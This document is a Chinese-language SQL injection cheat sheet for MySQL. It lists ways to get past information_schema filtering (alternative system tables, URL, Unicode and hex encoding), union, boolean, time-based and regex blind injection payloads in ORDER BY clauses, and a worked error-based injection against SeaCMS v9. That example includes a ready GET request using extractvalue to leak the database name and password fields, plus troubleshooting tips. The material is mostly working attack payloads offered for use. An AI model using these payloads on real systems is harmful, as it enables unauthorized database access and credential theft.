一、绕过information_schema过滤
1.1 替代系统表/视图
SELECT table_name FROM sys. schema_auto_increment_columns
WHERE table_schema = DATABASE ( ) ;
SELECT table_name FROM mysql. innodb_table_stats
WHERE database_name = DATABASE ( ) ;
1.2 编码混淆技术
方法 示例 URL编码 %69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61
Unicode编码 information\u005f_schema
十六进制编码 0x696e666f726d6174696f6e5f736368656d61
1.3 语法变形技巧
SELECT table_name FROM . tables ;
SELECT table_name FROM information_schema. tables ;
二、绕过ORDER BY注入限制
2.1 联合查询注入
1 ' UNION SELECT 1 , 2 , ( SELECT table_name FROM information_schema. tables LIMIT 1 )
2.2 盲注技术对比
类型 示例 布尔盲注 ORDER BY IF(ASCII(SUBSTR(DATABASE(),1,1))=97,1,2)
时间盲注 ORDER BY IF(ASCII(SUBSTR(DATABASE(),1,1))=97,SLEEP(5),1)
正则匹配 ORDER BY (SELECT table_name) REGEXP '^a'
2.3 分页提取数据
ORDER BY ( SELECT table_name FROM information_schema. tables LIMIT 1 OFFSET 0 ) ;
三、Seacmsv9报错注入实战
3.1 漏洞利用过程
GET /comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,
extractvalue(1,concat_ws(0x20,0x5c,database())),@`%27`
3.2 报错结果分析
< error> XPATH syntax error: '\ test_db'</ error>
extractvalue(1,concat_ws(0x20,0x5c,mid((SELECT password),1,30)))
3.3 常见问题排查
字段过长 :使用MID()
函数分段读取特殊字符 :转为HEX编码0x7e
权限不足 :尝试获取其他表数据
四、CONCAT与CONCAT_WS区别
特性 CONCAT CONCAT_WS 空值处理 任一参数为NULL则返回NULL 自动跳过NULL值 分隔符 无 首个参数为分隔符 示例 CONCAT('A',NULL,'B') → NULL
CONCAT_WS('-','2023',NULL,'10') → '2023-10'